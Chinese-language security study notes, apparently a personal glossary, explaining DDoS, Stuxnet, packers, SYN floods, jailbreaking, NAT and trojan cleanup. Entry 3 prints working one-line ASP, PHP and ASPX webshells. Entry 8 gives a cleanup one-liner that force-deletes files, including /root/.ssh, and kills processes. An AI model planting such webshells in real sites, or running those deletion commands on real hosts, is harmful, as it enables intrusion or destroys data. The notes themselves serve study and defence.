1、ssh Secure Shell 的缩写,
DDOS 分布式决绝服务(DDOS:Distributed Denial of service)攻击,借助客户端和服务器技术 ,将多个极端及联合起来作为攻击平台,对一个或者多个目标发动DDOS攻击,从而成倍的提高拒绝服务攻击等能力,攻击者使用一个偷窃账号将DDOS主控程序安装到一个计算机上,在一定的事件主控程序与大量代理程序通讯,代理程序已经被安装在网络上的很多计算机上,代理程序收到指令时 发动很多攻击,利用客户端客户服务技术,主控程序在几秒钟内激活上千次代理程序运行。
2、震网病毒
指的是一种蠕虫病毒,是第一个专门指向真实世界中的病毒,水电站,国家电网,只要电脑操作员将病毒感染的U盘,USB接口,这种病毒会取得工业电脑系统的控制权。 这种病毒可以破坏工业控制系统无需借助网络传播,不一窃取信息为目的。
3、一句话木马
ASP : <%execute(request("values"))%>
php: <?php@eval($_POST[value]);?>
变形 <?php$x=$_get['z'];@eval("$x;");?>
aspx一句话木马:
<%@Page Language="Jscript"%>
<%eval(Request.Item["Value"])%>
4、手工查询后门和木马的小技巧
首先输入msconfig 开启动项中查看程度列表中的这在运行的列表。后门木马大多都会为自己的系统服务注册,达到开机启动的目的,找到之后打开对应的路径之间删除,找到程序文件,直接删除并禁止子启动。
查看,系统关键目录System32和系统目录Windows下的文件,查看网络连接是否正常运行开启的端口号, 或者360流量监控,特别注意远程连接的端口号,8000是灰鸽子默认的端口,病毒查杀工具进行查杀
5、脱壳
壳是一段执行与原始程序之前的代码,原始成俗在加壳的过程中被压缩,加密,当加壳后的文件执行时,壳 这段代码限于原始程序运行,他把压缩加密后的代码还原成原始程序的代码,然后再把程序还原给原始代码,软件的加壳分为加密可 压缩壳 伪装壳 多层壳等。目的都是为了隐藏程序的真正的OEP(入口点 防止被破解)
加壳指的是对编译好的exe dll 等文件采用加壳来进行保护,脱壳指的是将文件的外边的壳去除,活肤文件没有加壳的状态。壳出于程序作者对程序资源压缩 注册保护的目的。把壳分为压缩壳 加密壳 三种,常见的压缩手段包括 FSG ASPack UPX PELock 幻影 等,密码壳使用的不多 ,加密的壳程序只有在正确输入密码之后才会运行
6、人肉搜索
是一种类似比的称呼,主要用来区别传统的搜索引擎。
SYN Flood 的基本原理
SYN Flood 是当前最流行的拒绝服务攻击,利用TCP协议缺陷发送大量的TCP请求连接而耗尽。防御方法是 将服务器响应 SYN报文时间减少,或者设置SYN cookie 就是非每一个请求的连接的IP地址一个cookie,如果短时间内连续受到某个IP的重读SYN报文,就认定了攻击以后丢弃该IP地址发送的报文
但是如果攻击中者利用 SOC_Raw 随机改写IP报文中的源地址 ,则以上方式不起作用
7、手机越狱
IOS系统的越狱就是取得系统的最高权限,越狱券后的IOS系统本身不会发生本质上的改变 只是
越狱之后手机的操作性更加强大,可以修改手机的内容,安装免费破解的软件自定义功能 美化
越狱之后可绕过 AppStore 下载应用程序 ,同时后台程序运行 周免等主题都会增加耗电量 越狱技术打破IOS的系统封闭 所以手机相对不安全。
8、主机入侵 如何解决
病毒木马的排除 :
使用netstat查看网络连接,分析是否有可疑发送行为,如有则停止。 (linux常见木马,清理命令chattr -i /usr/bin/.sshd; rm -f /usr/bin/.sshd; chattr -i /usr/bin/.swhd; rm -f /usr/bin/.swhd; rm -f -r /usr/bin/bsd-port; cp /usr/bin/dpkgd/ps /bin/ps; cp /usr/bin/dpkgd/netstat /bin/netstat; cp /usr/bin/dpkgd/lsof /usr/sbin/lsof; cp /usr/bin/dpkgd/ss /usr/sbin/ss;rm -r -f /root/.ssh; rm -r -f /usr/bin/bsd-port;find /proc/ -name exe | xargs ls -l | grep -v task |grep deleted| awk '{print $11}' | awk -F/ '{print $NF}' | xargs killall -9;)
使用杀毒软件进行查杀 使用服务器漏洞扫描软件进行查杀 查看服务器是否有异地登录
9、网络地址转换 协议
内网计算机以内网NAT(网络地址转换)协议,通过一个公共网关访问Internet,内网的计算机可以向internet 上
内网的计算机可以与公网的地址相互转化,将大量的内网IP地址转换成为一个少量的公网IP地址,减少公网IP地址的占用,NAT的最典型的应用是,在一个局域网内,只需要一台计算机连接上互联网上,就可以利用NAT共享Internet,使用局域网内的计算机可以访问互联网上的计算机,但是 Internet上的计算机无法访问局域网内部的计算机